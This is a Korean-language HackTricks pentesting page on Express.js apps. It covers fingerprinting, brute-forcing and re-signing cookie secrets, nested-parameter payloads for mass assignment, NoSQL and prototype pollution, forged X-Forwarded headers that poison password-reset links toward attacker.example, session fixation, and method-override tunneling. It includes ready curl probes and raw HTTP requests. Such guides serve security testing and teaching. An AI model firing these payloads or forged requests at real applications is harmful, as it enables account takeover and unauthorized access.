NodeJS Express
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
빠른 핑거프린팅
Recon 중에 유용한 Express 식별 지표:
X-Powered-By: Express또는express,body-parser,qs,cookie-parser,express-session,finalhandler를 언급하는 stack trace- 접두사가
s:(signed cookie) 또는j:(JSON cookie)인 Cookies connect.sid같은 세션 쿠키_method=PUT/_method=DELETE같은 숨겨진 폼 필드나 쿼리 파라미터- Error pages leaking
Cannot GET /path,Cannot POST /path,Unexpected tokeninbody-parser, 또는 쿼리 파싱 중 발생하는URIError
Express임을 확인하면 미들웨어 체인에 집중하라. 대부분의 흥미로운 버그는 프레임워크 코어 자체보다는 파서(parsers), proxy trust, 세션 처리(session handling), method-tunneling 등 미들웨어에서 발생한다.
쿠키 서명
The tool https://github.com/DigitalInterruption/cookie-monster 은 Express.js cookie secrets의 테스트와 재서명(re-signing)을 자동화하는 유틸리티이다.
Express는 일반적으로 두 가지 유용한 쿠키 포맷을 노출한다:
s:<value>.<sig>—cookie-parser또는express-session에서 처리하는 signed cookiesj:<json>—cookie-parser가 자동으로 파싱하는 JSON cookies
만약 cookie-parser가 서명된 쿠키를 받고 서명이 유효하지 않으면, 값은 변조된 값 대신 false가 된다. 애플리케이션이 비밀값 배열(array of secrets)을 허용하면, rotation 이후에도 이전 비밀(old secrets)이 기존 쿠키를 여전히 검증할 수 있다.
특정 이름을 가진 단일 쿠키
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
사용자 정의 wordlist
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
배치 모드를 사용하여 여러 cookies를 테스트
cookie-monster -b -f cookies.json
커스텀 wordlist로 batch mode를 사용해 여러 cookies 테스트하기
cookie-monster -b -f cookies.json -w custom.lst
새로운 cookie 인코딩 및 서명
비밀을 알고 있다면 cookie에 서명할 수 있습니다.
cookie-monster -e -f new_cookie.json -k secret
쿼리 문자열 및 URL-인코딩 파서 악용
Express 대상은 공격자가 제어하는 키를 중첩된 객체로 파싱할 때 종종 흥미로운 대상이 된다.
req.query는qs를 포함한 다양한 파서로 구성할 수 있다express.urlencoded({ extended: true })는application/x-www-form-urlencoded에 대해qs-스타일 파싱을 사용한다- 중첩 파싱은 파싱된 객체가 애플리케이션 상태에 병합될 경우 object injection, mass assignment, NoSQL injection, prototype pollution 체인을 열어준다
시도해볼 실전 payloads:
# Mass assignment style probe
curl 'https://target.example/profile?role=admin&isAdmin=true'
# Nested object / qs syntax
curl 'https://target.example/search?user[role]=admin&filters[name][$ne]=x'
# URL-encoded body against express.urlencoded({ extended: true })
curl -X POST 'https://target.example/api/update' -H 'Content-Type: application/x-www-form-urlencoded' --data 'profile[role]=admin&filters[$ne]=x'
앱이 결과 객체를 반사하거나 영속하면, exploitation 세부사항을 확인하기 위해 전용 페이지로 이동하세요:
Express Prototype Pollution Gadgets
Express에 대해 특히 시도해볼 만한 추가 테스트:
- 파서 한계, 타임아웃, 또는 400/413 응답 차이를 확인하기 위한 깊은 중첩
- 앱이 첫 번째 값을 유지하는지, 마지막 값을 유지하는지, 아니면 배열을 만드는지 확인하기 위한 중복 키
- 예: 대괄호 문법
a[b][c]=1, 점 표기법a.b=1, 그리고__proto__/constructor[prototype]payloads
trust proxy 악용
앱이 app.set("trust proxy", true)를 사용하거나 너무 많은 홉을 신뢰하면, Express는 포워드된 헤더(forwarding headers)로부터 보안 관련 값을 유도합니다. 리버스 프록시가 이를 덮어쓰지 않으면, 클라이언트가 이를 직접 위조할 수 있습니다.
영향을 받는 항목:
req.hostname는X-Forwarded-Host를 통해req.protocol는X-Forwarded-Proto를 통해req.ip/req.ips는X-Forwarded-For를 통해
다음 용도로 유용함:
- Password reset poisoning 및 absolute URL poisoning
- IP 기반 허용 목록, 요청률 제한(rate limits), 또는 감사 로그 우회
req.protocol를 기준으로 하는 앱에서secure쿠키 처리 및 HTTPS 전용 로직에 영향- 앱이 포워드된 host/proto 헤더로 절대 링크를 템플릿화할 때 리디렉션이나 캐시 가능한 응답을 변조할 가능성
POST /reset-password HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
X-Forwarded-Proto: https
X-Forwarded-For: 127.0.0.1
Content-Type: application/json
{"email":"victim@target.example"}
생성된 링크, 리다이렉트 위치, 로그, 또는 접근 제어 결정이 attacker-supplied 값을 사용하도록 바뀌었는지 확인하세요.
Related pages:
Reset/Forgotten Password Bypass
Cache Poisoning and Cache Deception
express-session 테스트 노트
일반적인 Express 배포는 express-session을 사용하며, 세션 식별자 쿠키에 서명하지만 실제 상태는 서버 측에 저장됩니다.
유용한 검사:
- Session fixation: 로그인 전 쿠키로 인증한 후 로그인 후에도 SID가 동일하게 유지되는지 확인하세요
- Weak secret rotation: 일부 배포에서는 쿠키를 이전의 여러 secrets 배열로 검증하므로 이전에 유효했던 서명이 계속 작동할 수 있습니다
saveUninitialized: true: 애플리케이션이 익명 사용자에게 인증 전 세션을 발행하므로 fixation이 더 쉬워지고 brute-force 또는 캐시 분석을 위한 세션 표면이 증가합니다MemoryStorein production은 일반적으로 운영 성숙도가 낮고 재시작 시 세션 동작이 불안정함을 나타냅니다
실용적인 fixation 워크플로우:
- 대상에서 익명 세션 쿠키를 획득합니다.
- 해당 쿠키를 피해자에게 보내거나 직접 그 쿠키로 인증합니다.
- 로그인이 인증된 상태를 기존 SID에 바인딩하는지 확인합니다.
- 바인딩된다면 별도의 브라우저 세션에서 동일한 쿠키를 재생합니다.
앱이 인증 후에 req.session.regenerate()를 호출하지 않으면 fixation이 여전히 가능한 경우가 많습니다.
Method Override Tunneling
일부 Express 앱은 method-override를 사용하여 HTML 폼이 본래 전송할 수 없는 메서드를 터널링합니다. 활성화되어 있다면 프런트엔드, WAF, 또는 CSRF 로직이 단지 POST만 허용한다고 가정한 경로를 통해 위험한 메서드를 스머글할 수 있는지 항상 테스트하세요.
일반적인 프로브:
POST /users/42 HTTP/1.1
Host: target.example
X-HTTP-Method-Override: DELETE
Content-Type: application/x-www-form-urlencoded
confirm=yes
POST /users/42?_method=PUT HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
role=admin
흥미로운 영향:
POST-전용 edge control을 통해 숨겨진PUT/PATCH/DELETE라우트에 접근req.method만 검사하는 라우트 전용 미들웨어 우회- 애플리케이션이 외부 요청 메서드만 검증할 때 CSRF를 통해 상태 변경 핸들러 트리거
By default the middleware usually only overrides POST, so prioritize POST requests with header, body, and query-string override values.
참고 자료
- https://expressjs.com/en/guide/behind-proxies.html
- https://portswigger.net/research/server-side-prototype-pollution
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


